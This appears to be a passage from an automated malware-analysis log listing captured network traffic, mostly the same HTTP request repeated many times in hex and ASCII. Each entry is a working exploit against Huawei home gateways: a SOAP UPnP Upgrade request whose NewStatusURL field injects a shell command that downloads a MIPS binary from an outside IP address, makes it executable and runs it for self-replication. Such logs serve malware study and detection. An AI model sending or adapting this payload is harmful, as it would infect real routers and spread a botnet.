74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 